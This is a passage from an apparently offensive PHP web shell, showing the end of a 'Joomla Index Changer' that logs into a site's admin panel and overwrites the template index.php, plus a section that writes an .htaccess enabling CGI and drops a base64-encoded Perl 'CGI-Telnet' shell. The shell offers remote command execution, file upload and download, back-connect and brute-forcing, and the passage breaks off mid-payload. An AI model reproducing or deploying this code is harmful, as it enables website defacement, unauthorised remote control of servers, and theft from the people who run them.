2222echo("<br>[-] Login Error");
2223exit;
2224}
2225else {
2226echo("<br>[+] Login Successful");
2227}
2228///////////////////////////
2229$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
2230$ch = curl_init();
2231curl_setopt($ch, CURLOPT_URL, $url2);
2232curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2233curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2234curl_setopt($ch, CURLOPT_HEADER, 0);
2235curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2236 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2237 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2238$buffer = curl_exec($ch);
2239
2240$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
2241
2242if($hidden2) {
2243echo("<br>[~] index.php file founded in Theme Editor");
2244}
2245else {
2246echo("<br>[-] index.php Not found in Theme Editor");
2247}
2248
2249echo("<br>[*] Updating Index.php .....");
2250$url2=$site_url."/index.php?option=com_templates&layout=edit";
2251$ch = curl_init();
2252curl_setopt($ch, CURLOPT_URL, $url2);
2253curl_setopt($ch, CURLOPT_POST, 1);
2254curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
2255curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2256curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2257curl_setopt($ch, CURLOPT_HEADER, 0);
2258curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2259 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2260 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2261$buffer = curl_exec($ch);
2262
2263$pos = strpos($buffer,'<dd class="message message fade">');
2264if($pos === false) {
2265echo("<br>[-] Updating Index.php Error");
2266exit;
2267}
2268else {
2269echo("<br>[~] index.php successfully saved");
2270}
2271#################################################################
2272###################### V1.5 END ######################
2273#################################################################
2274
2275}
2276
2277}
2278
2279
2280function randomt() {
2281
2282 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
2283 srand((double)microtime()*1000000);
2284 $i = 0;
2285 $pass = '' ;
2286
2287 while ($i <= 7) {
2288 $num = rand() % 33;
2289 $tmp = substr($chars, $num, 1);
2290 $pass = $pass . $tmp;
2291 $i++;
2292 }
2293
2294 return $pass;
2295
2296}
2297
2298function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
2299
2300{
2301
2302$ar0=explode($marqueurDebutLien, $text);
2303$ar1=explode($marqueurFinLien, $ar0[$i]);
2304$ar=trim($ar1[0]);
2305return $ar;
2306}
2307echo "
2308\n";
2309echo "<title>Joomla Index Changer c0ded By : RetnOHacK #Procoder'z Team Albanian</title>
2310\n";
2311echo "
2312\n";
2313echo "<center><table class=tabnet><tr>
2314\n";
2315echo "<br><br><b><font color=\"red\" size='+4'> -=[ Joomla Index Changer ]=- </font></b><br>
2316\n";
2317echo "
2318\n";
2319echo "<FORM action=\"\" method=\"post\">
2320\n";
2321echo "<input type=\"hidden\" name=\"form_action\" value=\"2\">
2322\n";
2323echo "<table class=\"tabnet\">
2324\n";
2325echo "<th colspan=\"2\">Joomla Index Changer</th>
2326\n";
2327echo "<tr><td>db_prefix </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"db_prefix\" value=\"jos_\"></td></tr>
2328\n";
2329echo "<tr><td>db_username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"db_username\" value=\"\"></td></tr>
2330\n";
2331echo "<tr><td>db_password</td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"db_password\" value=\"\"></td></tr>
2332\n";
2333echo "<tr><td>db_name</td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"db_name\" value=\"\"></td></tr>
2334\n";
2335echo "<tr><td>Admin Control panel url</td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"site_url\" value=\"http://site.com/administrator/\"></td></tr>
2336\n";
2337echo "</tr>
2338\n";
2339echo "<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">
2340\n";
2341echo "<TEXTAREA rows=\"13\" style=\"background:black\" border=\"1\" cols=\"82\" name=\"code\">tanks to Procoderz Team Albanian, from xCrotZ</TEXTAREA><br>
2342\n";
2343echo "<INPUT class=\"inputzbut\"class=submit type=\"submit\" value=\"Setting\" name=\"Submit\">
2344\n";
2345echo "</FORM></table>
2346\n";
2347echo "
2348\n";
2349
2350}
2351 ///////////////////////////////////////////////////////////////////////////
2352
2353 elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
2354 echo "<center/><br/><b>
2355 +--==[ CGI-Telnet Version 1.3 ]==--+
2356 </b><br><br>";
2357
2358
2359 mkdir('cgi2012', 0755);
2360 chdir('cgi2012');
2361 $kokdosya = ".htaccess";
2362 $dosya_adi = "$kokdosya";
2363 $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
2364 $metin = "AddHandler cgi-script .izo";
2365 fwrite ( $dosya , $metin ) ;
2366 fclose ($dosya);
2367$cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbG